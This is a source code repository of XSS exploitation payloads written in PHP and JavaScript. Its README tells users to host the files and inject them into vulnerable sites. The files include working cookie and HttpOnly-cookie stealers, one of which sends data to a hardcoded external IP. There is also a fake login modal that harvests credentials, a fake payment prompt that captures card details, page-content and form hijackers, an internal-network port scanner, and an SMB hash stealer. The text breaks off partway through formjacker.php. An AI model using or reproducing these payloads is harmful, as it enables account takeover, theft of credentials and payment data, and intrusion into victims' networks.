├── unc_hashstealer.php
├── cookiestealer.php
├── apache_httponly_bypass.js
├── loginpage.php
├── contentstealer.php
├── README.md
├── paymentrequest.php
├── formsubmitter.php
├── recon.php
├── local_network_scan.php
├── formjacker.php
└── generator.php


/unc_hashstealer.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |   /**
 3 |   * Inject this in order to have all "a" links on the page reassigned to point to the SMB endpoint (e.g. Responder) on the host this script is running on
 4 |   */
 5 |   $url = "file:///\\\\".$_SERVER["SERVER_ADDR"]."/page";
 6 |   echo "// $url\n";
 7 | ?>
 8 | col = document.getElementsByTagName('a');
 9 | for( var i in col ){
10 |   el = col[i];
11 |   el.href = '<?php echo $url; ?>';
12 | }
13 | 


--------------------------------------------------------------------------------
/cookiestealer.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |   // For hosting on a remote web service in order to post back cookies from a XSS vuln page
 3 |   // Either pull the cookie data out of logs or see the decoded cookie in the response if running a packet sniffer on the host
 4 |   $url = "http://".$_SERVER["SERVER_ADDR"].$_SERVER["PHP_SELF"];
 5 |   echo "// $url\n";
 6 |   if( !isset( $_GET["c"] ) ){
 7 | ?>
 8 | var url = "<?php echo $url; ?>?c=" + encodeURIComponent(btoa(document.cookie));
 9 | f = document.createElement('iframe');
10 | f.src = url;
11 | document.getElementsByTagName('body')[0].appendChild(f);
12 | <?php }else{
13 |   echo "/*\n".base64_decode( $_GET["c"] )."\n*/\n";
14 | }?>
15 | 


--------------------------------------------------------------------------------
/apache_httponly_bypass.js:
--------------------------------------------------------------------------------
 1 | // Exploit for CVE-2012-0053
 2 | 
 3 | // Set megacookie
 4 | for( var j=0; j<100; j++ ){
 5 |   var c = "x"+j+"=";
 6 |   for( var i=0; i<500; i++ ){
 7 |     c+='A';
 8 |   }
 9 |   document.cookie = c;
10 | }
11 | 
12 | x=new XMLHttpRequest(); 
13 | x.onreadystatechange = function(){
14 |   if( x.readyState == 4 ){
15 |     var data = '';
16 |     
17 |     // 400 == exploit worked
18 |     if( x.status == 400 ){
19 |       aC = x.responseText.match(/<pre>([\s\S]*)<\/pre>/gm)[0].split(';');
20 |       for( var i=0; i<aC.length; i++ ){
21 |         if( !aC[i].trim().match(/x\d+=/) ){
22 |           data += aC[i].trim() + '; ';
23 |         }
24 |       }
25 | 
26 |     // Anything else, not useful
27 |     }else{
28 |       data = "Exploit failed";
29 |     }
30 | 
31 |     // Remove megacookie
32 |     for( var j=0; j<100; j++ ){
33 |       document.cookie = "x"+j+"=; expires=Thu, 01 Jan 1970 00:00:00 UTC";
34 |     }
35 | 
36 |     // Send back
37 |     // CHANGE THIS URL TO YOUR OWN
38 |     new Image().src = 'http://193.36.15.252/cookie?=' + btoa(data);
39 |   }
40 | }
41 | x.open('GET', '/' , true ); 
42 | x.send(null); 
43 | 
44 | 


--------------------------------------------------------------------------------
/loginpage.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | /*
 3 |  Call this script from an injected <script> tag to pop up a modal dialog prompting for username and password which will send back creds to the same script
 4 | */
 5 | if( isset( $_GET["username"] ) ){
 6 | 	if( isset( $_SERVER['HTTP_REFERER'] ) ){
 7 | 		header( "Location: ".$_SERVER['HTTP_REFERER'] );
 8 | 	}else{
 9 | 		echo "<script>window.history.back();</script>";
10 | 	}
11 | 	exit;
12 | }
13 | header( "Content-type: text/javascript" );
14 | if( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] ){
15 |     $self = "https://";
16 | }else{
17 |     $self = "http://";
18 | }
19 | $self .= $_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME'];
20 | $html = "
21 | <style>
22 | #login_modal_fade {
23 |     position: absolute;
24 |     width: 100%;
25 |     height: 100%;
26 |     top: 0;
27 |     left: 0;
28 |     background: black;
29 |     opacity: 0.9;
30 | }
31 | #login_modal_container {
32 |     position: absolute;
33 |     top: 20%;
34 |     left: 30%;
35 |     width: 30%;
36 |     background: white;
37 |     padding: 0 1em;
38 |     border: 1px solid black;
39 |     border-radius: 5px;
40 | }
41 | #login_modal_container label {
42 |     width: 20%;
43 | }
44 | </style>
45 | <div id='login_modal_fade'></div>
46 | <div id='login_modal_container'>
47 | <form method='get' action='$self'>
48 |     <h2>Log in</h2>
49 |     <div class='field'><label>Username: </label><input type='text' name='username'></div>
50 |     <div class='field'><label>Password: </label><input type='password' name='password'></div>
51 |     <div class='buttons'><input type='submit' value='Log in'></div>
52 | </form>
53 | </div>";
54 | $html = preg_replace( "/[\n\r]/", "", $html ); 
55 | echo "window.onload=function(){\n";
56 | echo "  document.body.innerHTML += \"$html\";";
57 | echo "}\n";
58 | ?>
59 | 


--------------------------------------------------------------------------------
/contentstealer.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |   /*
 3 |     Host on a server under your control in order to include as a javascript and have either the current page or a page of your choosing sent back via a POST
 4 |     URL arguments to script:
 5 |      - (Default) tag = element tag name to grab from current page. Default = "body" 
 6 |      - id = id of element to be grabbed from injected page
 7 |      - url = url of page to retrieve (within the same origin as the page this script is injected into)
 8 | 
 9 |   */
10 |   header( "Content-type: text/javascript" );
11 |   $url = "http://".$_SERVER["SERVER_ADDR"].$_SERVER["PHP_SELF"];
12 |   if( !isset( $_POST["c"] ) ){
13 |     echo "  function xssgetcontent(){\n";
14 | 
15 |     // Get a URL
16 |     if( !empty( $_GET["url"] ) ){
17 | ?>
18 |     x=new XMLHttpRequest();
19 |     x.onreadystatechange = function(){
20 |       if( this.readyState == this.DONE ){
21 |         xsssendcontent(this.responseText);
22 |       }
23 |     }
24 |     x.open('GET','<?php echo $_GET["url"]; ?>' );
25 |     x.send(null)
26 | <?php 
27 |     
28 |     // Get an element by its id
29 |     }elseif( !empty( $_GET["id"] ) ){ 
30 | ?>
31 |     xsssendcontent(document.getElementById('<?php echo $_GET["id"]; ?>').outerHTML);
32 | <?php
33 | 
34 |     // Get elements by tag
35 |     }else{
36 |       if( empty( $_GET["tag"] ) ) $_GET["tag"] = "body";
37 | ?>
38 |     var content = '';
39 |     var col = document.getElementsByTagName('<?php echo $_GET["tag"]; ?>');
40 |     for( var i=0; i<col.length; i++ ){ 
41 |       content += col[i].outerHTML + "\n\n"; 
42 |     }
43 |     xsssendcontent(content);
44 | <?php } ?>
45 |   }
46 | 
47 |   function xsssendcontent(content){
48 |     document.getElementById('xss_content').value = content;
49 |     document.getElementById('form_xss').submit();
50 |   }
51 |   if( !document.getElementById('frame_xss') ){
52 |     frame = document.createElement('iframe');
53 |     frame.style='visibility: hidden;';
54 |     frame.name='frame_xss';
55 |     form = document.createElement('form');
56 |     form.action = '<?php echo $url; ?>'
57 |     form.target = 'frame_xss';
58 |     form.method='POST';
59 |     form.id = 'form_xss';
60 |     e = document.createElement('input');
61 |     e.type = 'hidden';
62 |     e.name = 'c';
63 |     e.id = 'xss_content';
64 |     form.appendChild(e);
65 |     document.getElementsByTagName('body')[0].appendChild(frame);
66 |     document.getElementsByTagName('body')[0].appendChild(form);
67 |   }
68 |   xssgetcontent();
69 | <?php 
70 |   }else{
71 |     
72 |     // Reflect back the content that was stolen. Equally you could dump it to file / database at this point
73 |     echo $_POST["c"];
74 |     
75 |     // Example basic logging to a file
76 |     // file_put_contents( 'contentstealer.log', $_POST["c"]."\n\n", FILE_APPEND );
77 | 
78 |   }
79 | ?>
80 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # xss_payloads
 2 | 
 3 | Payloads for practical exploitation of cross site scripting.
 4 | 
 5 | ## Usage
 6 | 
 7 | 1. Find XSS vuln in your app
 8 | 2. Get PoC exploit: alert(1) etc
 9 | 3. Host these payloads somewhere
10 | 4. Use vuln to pull one of these payloads into the app `<script src="http://attackerip/file.js"></script>`
11 | 5. Profit
12 | 
13 | ## js vs php files
14 | 
15 | Some of the files are plain JavaScript .js files, others are PHP scripts which serve JavaScript when rendered in order to do some more complex stuff. Make sure you have a PHP interpreter running on your web server of choice to get these to work `</obvious>`
16 | 
17 | ## Common Problems
18 | 
19 | * You can't serve these over HTTP if your app is running on HTTPS. You'll need to serve them over HTTPS
20 | * If you're running these over HTTPS for actual exploitation rather than a PoC, you'll need a proper trusted TLS cert (Let's Encrypt CA, for example) otherwise victim's browsers won't fetch the files at all. If it's for a PoC you can just temporarily trust your self signed cert.
21 | * Hit F12 and view the debug console for any information about why a particular script might not work
22 | 
23 | 
24 | ## Generator
25 | 
26 | `generator.php` is a tool which can help to load one of the below payloads or to inject a custom payload using various injection, execution and encoding options.
27 | 
28 | ## Payloads
29 | 
30 | ### apache_httponly_bypass.js
31 | 
32 | Uses an excessively large cookie to exploit CVE-2012-0053 and extract HTTPOnly cookie values from the response.
33 | 
34 | ### contentstealer.php
35 | 
36 | Steal the content of the current page, a specific element or another page within the same origin as the exploited web app.
37 | 
38 | ### cookiestealer.php
39 | 
40 | Steal cookies from the site.
41 | 
42 | ### formjacker.php 
43 | 
44 | Man-in-the-middle all forms on the current page and also exploit browser autofill functionality in order to steal personal information.
45 | 
46 | ### formsubmitter.php
47 | 
48 | Grab a page from somewhere within the same origin, fill in a form on it and then submit that form.
49 | 
50 | ### local_network_scan.php
51 | 
52 | Get the internal IP address of a victim and then have them do a TCP port scan of common ports on the /24 of that internal IP address.
53 | 
54 | ### loginpage.php
55 | 
56 | Pop up a login page which sends the entered credentials back to this URL.
57 | 
58 | ### recon.php ###
59 | 
60 | Passes back information about where it was executed:
61 | 
62 |  - page URL
63 |  - script URL
64 |  - user's IP address
65 |  - Page content
66 |  - Any non HttpOnly cookies present
67 |  - User agent string
68 | 
69 | And then logs it all into either a file or a database. Great for when a collaborator alert is generated asynchronously and you need more info about where execution is occuring.
70 | 
71 | ### unc_hashstealer.php
72 | 
73 | Fire up Responder.py on the same host as this script and then inject this payload. All links on the injected page will be turned into UNC paths to the same host.
74 | 


--------------------------------------------------------------------------------
/paymentrequest.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 |   /**
  3 |   * Use PaymentRequest API to prompt for payment, send details back to this script
  4 |   * URL params:
  5 |   *  - label - name of item the user is apparently paying for (default: "Total")
  6 |   *  - currency - USD, GBP etc (default: "GBP")
  7 |   *  - value - cash value of purchase (default: "10")
  8 |   *  - confirmation - URL of the payment confirmation page to forward to after receiving details
  9 |   */
 10 |   if(empty($_GET["data"])){
 11 |     header( "Content-type: text/javascript" );
 12 | 
 13 |     $url = 'http';
 14 |     if( !empty( $_SERVER['HTTPS'] ) ){
 15 |       $url .= 's';
 16 |     }
 17 |     $url .= "://";
 18 |     if( empty( $_SERVER['HTTP_HOST'] ) ){
 19 |       $url .= $_SERVER["SERVER_ADDR"];
 20 |     }else{
 21 |       $url .= $_SERVER['HTTP_HOST'];
 22 |     }
 23 |     $url .= $_SERVER["PHP_SELF"];
 24 | 
 25 |     if( !empty( $_GET["label"] ) ){
 26 |       $label = $_GET["label"];
 27 |     }else{
 28 |       $label = "Total";
 29 |     }
 30 | 
 31 |     if( !empty( $_GET["currency"] ) ){
 32 |       $currency = $_GET["currency"];
 33 |     }else{
 34 |       $currency = "GBP";
 35 |     }
 36 | 
 37 |     if( !empty( $_GET["value"] ) ){
 38 |       $value = $_GET["value"];
 39 |     }else{
 40 |       $value = "10";
 41 |     }
 42 |    
 43 |     if( !empty( $_GET["confirmation"] ) ){
 44 |       $confirmation = $_GET["confirmation"];
 45 |     }else{
 46 |       $confirmation = null;
 47 |     }
 48 | 
 49 | ?>
 50 | if(window.PaymentRequest) {  
 51 | 
 52 |   // Use Payment Request API  
 53 |   const supportedPaymentMethods = [
 54 |     {
 55 |       supportedMethods: ['basic-card']
 56 |     }
 57 |   ];
 58 | 
 59 |   const paymentDetails = {
 60 |     total: {
 61 |       label: '<?=$label?>',
 62 |       amount:{
 63 |         currency: '<?=$currency?>',
 64 |         value: <?=$value?>
 65 |       }
 66 |     }
 67 |   };
 68 | 
 69 |   const options = {};
 70 | 
 71 |   const request = new PaymentRequest( supportedPaymentMethods, paymentDetails, options );
 72 | 
 73 |   promise = request.show()
 74 |     .then((paymentResponse) => {
 75 |       return paymentResponse.complete()
 76 |         .then(() => {;
 77 |           // Send payment response back to this URL
 78 |           url = '<?=$url?>?data=' + btoa(JSON.stringify(paymentResponse));
 79 |           i= new Image();
 80 |           i.addEventListener('load', function(){
 81 |           <?php if($confirmation){ ?>
 82 |             window.location = '<?=$confirmation?>';
 83 |           <?php }else{ ?>
 84 |             alert("Payment received, thank you")
 85 |           <?php } ?>
 86 |           },false);
 87 |           i.src = url;
 88 |         });
 89 |     
 90 |     }).catch((err) => {
 91 |       console.log("Payment request failed");
 92 |     });
 93 | } else { 
 94 |   // Fallback to traditional checkout  
 95 |   console.log("PaymentRequest API not supported in this browser");
 96 | }
 97 | <?php
 98 |   }else{
 99 |     
100 |     // Output a blank gif
101 |     header( "Content-type: image/gif" );
102 |     header( "Cache-control: no-cache, no-store, max-age=0, private" );
103 |     header( "Pragma: no-cache" );
104 |     echo base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7");
105 |     
106 |     // Save CC data here if required
107 |   
108 |   }
109 | ?>
110 | 


--------------------------------------------------------------------------------
/formsubmitter.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |   /*
 3 |     Inject into a page in order to retrieve and submit a form from another page
 4 |   */
 5 |   header( "Content-type: text/javascript" );
 6 |   $url = "//".$_SERVER["SERVER_ADDR"].$_SERVER["PHP_SELF"];
 7 |   echo "// $url\n";
 8 |   if( !isset( $_GET["c"] ) ){
 9 |     echo "/*\n Inject with:\n ".$url."?form=0&el[email]=someone@somewhere.com&el[password]=Password123&url=createuser.php\n";
10 |     echo " Where:\n"
11 |       ."   form is the zero-based index of the form on the page you want to submit\n"
12 |       ."   el[] is a keyed array of form values to set on the form\n"
13 |       ."   url is the URL of the form you want to submit\n"
14 |       ."   action is an overide action URL to set the form to\n"
15 |       ."*/\n";
16 |    
17 |     $form = !empty( $_GET["form"] ) ? intval($_GET["form"]) : '0';
18 |     $els = !empty( $_GET["el"] ) ? $_GET["el"] : null;
19 |     $els["dnn\$ctr441\$ProfileEditor\$EmailTextBox"] = 'iwallace@nettitude.com';
20 |     
21 |     // Function to get page
22 |     echo "
23 |       function g(u){ 
24 |         console.log('g()');
25 | 	x=new XMLHttpRequest(); 
26 |         x.open('GET',u,true); 
27 |         x.onload = function(e){
28 |          console.log('Loaded', x); 
29 | 	  if( x.readyState === 4 && x.status === 200 ){
30 |             procFrm(x.responseText);
31 |           }
32 |         }; 
33 |         x.send(null); 
34 |       }\n";
35 | 
36 |     // Function to handle loading of iframe
37 |     echo "
38 |       function ifload(){
39 |         content = document.getElementById('xss_target').contentDocument.body.innerHTML;
40 |         new Image().src = '".$url."?loaded&c=' + encodeURIComponent(btoa(content));
41 |       }
42 |     ";
43 | 
44 |     // Function to add form to current page, add an iframe, change target to iframe, set fields, submit
45 |     echo "
46 |       function procFrm(html){
47 |         parser = new DOMParser();
48 |         doc = parser.parseFromString(html,'text/html');
49 | 	frm = doc.getElementsByTagName('form')[$form];
50 |         console.log(frm);
51 | 	frm.id = 'xss_submitform';
52 | 	// frm.style = 'display: none;';
53 | 	b = document.getElementsByTagName('body')[0];
54 |         b.appendChild( frm );
55 |         frm = document.getElementById('xss_submitform'); 
56 |         b.innerHTML += '<iframe name=\"xss_target\" id=\"xss_target\" style=\"display: none;\"></iframe>';
57 |         document.getElementById('xss_target').onload = ifload;
58 |         frm.target = 'xss_target';\n";
59 | 	echo "frm.onsubmit = ''\n";
60 |      if( isset( $_GET["action"] ) ){
61 |         echo "        frm.action = '".$_GET["action"]."';\n";
62 |      }
63 |      if( isset( $els ) ){
64 |        foreach( $els as $k => $v ){
65 |          echo "        frm.elements.namedItem('$k').value = '$v';\n";
66 |          echo "        console.log(frm.elements.namedItem('$k').value);\n";
67 |        }
68 |      }
69 |      echo "        frm.submit();
70 |       }
71 |     ";
72 |     
73 |     // Call function to get the page, pass function to process the form
74 |     echo "
75 |       g('/Home/Settings/MyProfile/tabid/62/userid/100417/Default.aspx');\n";
76 |       // g('".$_GET["url"]."');\n";
77 | ?>
78 | <?php }else{
79 |   echo "/*\n".base64_decode( $_GET["c"] )."\n*/\n";
80 | }?>
81 | 


--------------------------------------------------------------------------------
/recon.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 |   header('Content-type: text/javascript');
  3 |   error_reporting(E_ALL);
  4 |   /**
  5 |     Gain situational awareness of where this script executed. 
  6 |     One to follow up with if you get collaborator / sleepy puppy call back with an asynchronously executed payload
  7 |     Effectively does:
  8 |      - Cookiestealer
  9 |      - Contentstealer
 10 |     
 11 |     payloads, plus:
 12 |      - Get URL this was executed on
 13 |      - Get URL that this script was referred to with (e.g. if unique identifiers were used)
 14 |      - IP, user agent of the user that executed it
 15 |   */
 16 | 
 17 |   // Settings
 18 | 
 19 |   // Pick either DB or file logging by commenting one of these out
 20 |   $logging = 'db';
 21 |   // $logging = 'file';
 22 |   
 23 |   // If you're using file logging, this is the path of the log file that the web server can write to
 24 |   $log_file = '/var/log/xssrecon.log'; 
 25 | 
 26 |   // If you're using DB logging, set these up and make sure the those creds have access to the schema
 27 |   $db_user = 'xssrecon';
 28 |   $db_pass = 'xssrecon';
 29 |   $db_name = 'xssrecon';
 30 |   $db_host = 'localhost';
 31 | 
 32 |   // Use this SQL to set up the DB
 33 |   // CREATE TABLE log ( id int NOT NULL AUTO_INCREMENT, logtime DATETIME, method varchar(10), pageurl varchar(255), scripturl varchar(255), referer varchar(255), cookies varchar(255), useragent varchar(255), userip varchar(20), html TEXT, PRIMARY KEY (id) )
 34 | 
 35 |   $url = 'http';
 36 |   if( !empty( $_SERVER['HTTPS'] ) ){
 37 |     $url .= 's';
 38 |   }
 39 |   $url .= "://";
 40 |   if( empty( $_SERVER['HTTP_HOST'] ) ){
 41 |     $url .= $_SERVER["SERVER_ADDR"];
 42 |   }else{
 43 |     $url .= $_SERVER['HTTP_HOST'];
 44 |   }
 45 |   $url .= $_SERVER["PHP_SELF"];
 46 | 
 47 |   if( empty( $_POST["c"] ) ){
 48 | 
 49 | ?>
 50 | 
 51 |   // Send back
 52 |   function xssSendContent(content){
 53 |     document.getElementById('info').value = content;
 54 |     window.onload = null;
 55 |     document.getElementById('form_xss').submit();
 56 |   }
 57 |   function xssGatherInfo(){
 58 |     
 59 |     var info = {};
 60 | 
 61 |     // Current URL
 62 |     info.pageurl = document.location.href;
 63 | 
 64 |     // Contents of current page
 65 |     info.html = document.documentElement.outerHTML; 
 66 | 
 67 |     // Any non HttpOnly cookies present
 68 |     info.cookies = document.cookies
 69 | 
 70 |     document.documentElement.innerHTML += 'A';
 71 |     if( !document.getElementById('frame_xss') ){
 72 |       frame = document.createElement('iframe');
 73 |       frame.style='visibility: hidden;';
 74 |       frame.name='frame_xss';
 75 |       form = document.createElement('form');
 76 |       form.action = '<?php echo $url; ?>'
 77 | 
 78 |       form.target = 'frame_xss';
 79 |       form.method='POST';
 80 |       form.id = 'form_xss';
 81 |       e = document.createElement('input');
 82 |       e.type = 'hidden';
 83 |       e.name = 'c';
 84 |       e.id = 'info';
 85 |       form.appendChild(e);
 86 |       body = document.getElementsByTagName('body')
 87 |       if( body.length = 0 ){
 88 |         document.documentElement.appendChild(document.createElement('body'));
 89 |         body = document.getElementsByTagName('body')
 90 |       }
 91 |       body = body[0];
 92 |       body.appendChild(frame);
 93 |       body.appendChild(form);
 94 |     }
 95 |     xssSendContent(btoa(JSON.stringify(info)));
 96 |   }
 97 |   window.onload = xssGatherInfo;
 98 | 
 99 | <?php
100 |     
101 |   }else{
102 | 
103 |     // If you've got POST data coming in, record it
104 |     echo $_POST['c'];
105 | 
106 |     $info = json_decode(base64_decode($_POST['c']));
107 |   
108 |   }
109 | 
110 |   if( !isset( $info ) ){
111 |     $info = new StdClass();
112 |   }
113 |   
114 |   // URL of the script itself
115 |   $info->scripturl = $url;
116 | 
117 |   // Referer
118 |   $info->referer = $_SERVER['HTTP_REFERER'];
119 | 
120 |   // User's user agent
121 |   $info->useragent = $_SERVER['HTTP_USER_AGENT'];
122 | 
123 |   // User's IP address
124 |   $info->userip = $_SERVER['REMOTE_ADDR'];
125 | 
126 |   $info->method = $_SERVER['REQUEST_METHOD'];
127 | 
128 |   $info->logtime = date('Y-m-d H:i:s');
129 | 
130 |   $aProperties = array( 'logtime', 'method', 'pageurl', 'scripturl', 'referer', 'cookies', 'useragent', 'userip', 'html' );
131 |   
132 |   // Log this request
133 |   if( $logging == 'file' ){
134 |     // File logging
135 |     
136 |     $str = '';
137 |     $str .= "\n\n===START XSS INFO===\n\n";
138 |     foreach( $aProperties as $prop ){
139 |       if( !property_exists( $info, $prop ) ) continue;
140 |       $str .= $prop.": ".$info->{$prop}."\n";
141 |     }
142 |     $str .= "\n\n===END XSS INFO===\n\n";
143 |     file_put_contents( $log_file, $str, FILE_APPEND ); 
144 |   }else{
145 |     // DB logging
146 | 
147 |     $db = new PDO("mysql:host={$db_host};dbname={$db_name};charset=utf8", $db_user, $db_pass);
148 |     $present = "";
149 |     $markers = "";
150 |     $comma = "";
151 |     $data = array();
152 |     foreach( $aProperties as $prop ){
153 |       if( !property_exists( $info, $prop ) ) continue;
154 |       $present .= $comma.' '.$prop; 
155 |       $markers .= $comma." ?";
156 |       $data[] = $info->{$prop};
157 |       $comma = ",";
158 |     }
159 |     $sql = "INSERT INTO log (".$present." ) VALUES (".$markers." )";
160 |     $stmt = $db->prepare($sql);
161 |     $stmt->execute($data);
162 |   }
163 | 
164 | ?>
165 | 


--------------------------------------------------------------------------------
/local_network_scan.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | 
  3 | // Get the user's INTERNAL IP address and then attempt to scan their local /24 network
  4 | // http://net.ipcalf.com/
  5 | // http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html
  6 | 
  7 | // Record submitted data. Make sure the web server can write this file
  8 | $logfile = "internal_scan.log";
  9 | 
 10 | // Log internal IP of the victim
 11 | if( !empty($_GET["internalips"]) ){
 12 |   $line = "ADDR\t".$_SERVER['REMOTE_ADDR']."\t".$_GET["internalips"];
 13 |   $line .= "\t".$_SERVER["HTTP_USER_AGENT"]."\n";
 14 |   file_put_contents( $logfile, $line, FILE_APPEND );
 15 |   exit;
 16 | }
 17 | 
 18 | // Log an open port
 19 | if( !empty( $_GET['openport'] ) ){
 20 |   $line = "PORT\t".$_SERVER['REMOTE_ADDR']."\t".$_GET["openport"];
 21 |   if( !empty( $_GET['srcip'] ) ){
 22 |     $line .= "\t".$_GET['srcip'];
 23 |   }
 24 |   $line .= "\t".$_SERVER["HTTP_USER_AGENT"];
 25 |   $line .= "\n";
 26 |   file_put_contents( $logfile, $line, FILE_APPEND );
 27 |   exit;
 28 | }
 29 | 
 30 | // Report complete
 31 | if( !empty( $_GET['scancomplete'] ) ){
 32 |   $line = "DONE\t".$_SERVER['REMOTE_ADDR'];
 33 |   if( !empty( $_GET['srcip'] ) ){
 34 |     $line .= "\t".$_GET['srcip'];
 35 |   }
 36 |   $line .= "\t".$_SERVER["HTTP_USER_AGENT"];
 37 |   $line .= "\n";
 38 |   file_put_contents( $logfile, $line, FILE_APPEND );
 39 |   exit;
 40 | }
 41 | 
 42 | 
 43 | header( "Content-type: text/javascript" );
 44 | $url = "//".$_SERVER["SERVER_ADDR"].$_SERVER["PHP_SELF"];
 45 | ?>
 46 | 
 47 | function report( data ){
 48 |   new Image().src = '<?php echo $url; ?>?'+data;
 49 | }
 50 | 
 51 | 
 52 | function ports_callback( host, port, state, srcip ){
 53 |   if( state == "closed" ) return;
 54 |   // console.log( host, port, state );
 55 |   report( "openport=" + host + ":" + port + "&srcip=" + srcip );
 56 | }
 57 | 
 58 | var AttackAPI = {
 59 |   version: '0.1',
 60 |   author: 'Petko Petkov (architect)',
 61 |   homepage: 'http://www.gnucitizen.org'};
 62 | 
 63 | AttackAPI.PortScanner = {};
 64 | AttackAPI.PortScanner.ports = '445,3389,80,443,3306,8080,1723,5900,1025,8888,199,1720,81,6001'.split(',')
 65 | AttackAPI.PortScanner.port_index = 0;
 66 | AttackAPI.PortScanner.host_num = 1;
 67 | AttackAPI.PortScanner.src = '';
 68 | AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout, srcip ) {
 69 |   var timeout = (timeout == null)?100:timeout;
 70 |   var img = new Image();
 71 |   // console.log( "Scanning " + target + ":" + port );
 72 | 
 73 |   img.onerror = function () {
 74 |     if (!img) return;
 75 |     img = undefined;
 76 |     callback(target, port, 'open', srcip );
 77 |   };
 78 |   
 79 |   img.onload = img.onerror;
 80 |   img.src = 'http://' + target + ':' + port;
 81 |   
 82 |   setTimeout(function () {
 83 |     if (!img) return;
 84 |     img.src = 'http://localhost/icon.png';
 85 |     img = undefined;
 86 |     callback(target, port, 'closed', srcip );
 87 |   }, timeout);
 88 | };
 89 | AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout)
 90 | {
 91 |   var ports = (ports == null) ? AttackAPI.PortScanner.ports : ports;
 92 |   var timeout = (timeout == null)?100:timeout;
 93 |   for (index = 0; index < ports.length; index++)
 94 |     AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout, target );
 95 | };
 96 | 
 97 | // Scan a /24 around an IP
 98 | AttackAPI.PortScanner.scanNetwork = function ( callback, target )
 99 | {
100 |   if( target.toLowerCase() == 'udp' ) return;
101 |   a = target.split('.');
102 |   AttackAPI.PortScanner.scanPort( callback, a[0]+'.'+a[1]+'.'+a[2]+'.'+AttackAPI.PortScanner.host_num, AttackAPI.PortScanner.ports[AttackAPI.PortScanner.port_index], 100, target );
103 |   AttackAPI.PortScanner.host_num++;
104 |   if( AttackAPI.PortScanner.host_num >= 255 ){ 
105 |     AttackAPI.PortScanner.port_index++;
106 |     if( AttackAPI.PortScanner.port_index >= AttackAPI.PortScanner.ports.length ){
107 |       report( "scancomplete&srcip=" + target );
108 |       return;
109 |     }
110 |     AttackAPI.PortScanner.host_num = 1;
111 |   }
112 |   setTimeout( function(){
113 |     AttackAPI.PortScanner.scanNetwork( callback, target );
114 |   }, 200 );
115 | };
116 | 
117 | 
118 | 
119 | // NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23
120 | var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
121 | 
122 | if (RTCPeerConnection) (function () {
123 |     var rtc = new RTCPeerConnection({iceServers:[]});
124 |     if (1 || window.mozRTCPeerConnection) {      // FF [and now Chrome!] needs a channel/stream to proceed
125 |         rtc.createDataChannel('', {reliable:false});
126 |     };
127 |     
128 |     rtc.onicecandidate = function (evt) {
129 |         // convert the candidate to SDP so we can run it through our general parser
130 |         // see https://twitter.com/lancestout/status/525796175425720320 for details
131 |         if (evt.candidate) grepSDP("a="+evt.candidate.candidate);
132 |     };
133 |     rtc.createOffer(function (offerDesc) {
134 |         grepSDP(offerDesc.sdp);
135 |         rtc.setLocalDescription(offerDesc);
136 |     }, function (e) { console.warn("offer failed", e); });
137 |     
138 |     
139 |     var addrs = Object.create(null);
140 |     addrs["0.0.0.0"] = false;
141 |     function updateDisplay(newAddr) {
142 |         if (newAddr in addrs) return;
143 |         else addrs[newAddr] = true;
144 |         var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
145 |         displayAddrs = displayAddrs.filter(function(ip){ return ip.toString().trim().toLowerCase() != 'udp';});
146 |         report( "internalips=" + displayAddrs.join(',') || 'n/a' );
147 |         AttackAPI.PortScanner.scanTarget( ports_callback, '127.0.0.1' );
148 |         for( i=0; i<displayAddrs.length; i++ ){
149 |           AttackAPI.PortScanner.scanNetwork( ports_callback, displayAddrs[i] );
150 |         }        
151 |     }
152 |     
153 |     function grepSDP(sdp) {
154 |         var hosts = [];
155 |         sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39
156 |             if (~line.indexOf("a=candidate")) {     // http://tools.ietf.org/html/rfc4566#section-5.13
157 |                 var parts = line.split(' '),        // http://tools.ietf.org/html/rfc5245#section-15.1
158 |                     addr = parts[4],
159 |                     type = parts[7];
160 |                 if (type === 'host') updateDisplay(addr);
161 |                 var parts = line.split(' '),
162 |                     addr = parts[2];
163 |                 updateDisplay(addr);
164 |             }
165 |         });
166 |     }
167 | })(); else {
168 | }
169 | 
170 | 


--------------------------------------------------------------------------------
/formjacker.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 |   // Formjacker
  3 |   /*
  4 |     Man-in-the-middle every form on the page so that it sends data via this script. 
  5 |     All forms will submit to this script which will log all the form data and then submit to the original URL.
  6 |     Also add in invisible field elements to exploit browser autofill and extract form fill data (CC data, personal details etc) (https://github.com/anttiviljami/browser-autofill-phishing)
  7 |     Should automatically pick up CSRF tokens for standard HTML forms. Forms using AJAX requests and CSRF tokens in headers will fail.
  8 |   */
  9 |   
 10 |   // Pick either DB or file logging by commenting one of these out
 11 |   $logging = 'db';
 12 |   // $logging = 'file';
 13 |   
 14 |   // If you're using file logging, this is the path of the log file that the web server can write to
 15 |   $log_file = '/var/log/xssformjacker.log'; 
 16 | 
 17 |   // If you're using DB logging, set these up and make sure the those creds have access to the schema
 18 |   $db_user = 'xss';
 19 |   $db_pass = 'xss';
 20 |   $db_name = 'xss';
 21 |   $db_host = 'localhost';
 22 | 
 23 |   // Use this SQL to set up the DB
 24 |   // CREATE TABLE formjackerlog ( id int NOT NULL AUTO_INCREMENT, logtime DATETIME, ip varchar(15), method varchar(10), formdata TEXT, PRIMARY KEY (id) )
 25 | 
 26 | 
 27 |   $url = 'http';
 28 |   if( !empty( $_SERVER['HTTPS'] ) ){
 29 |     $url .= 's';
 30 |   }
 31 |   $url .= "://";
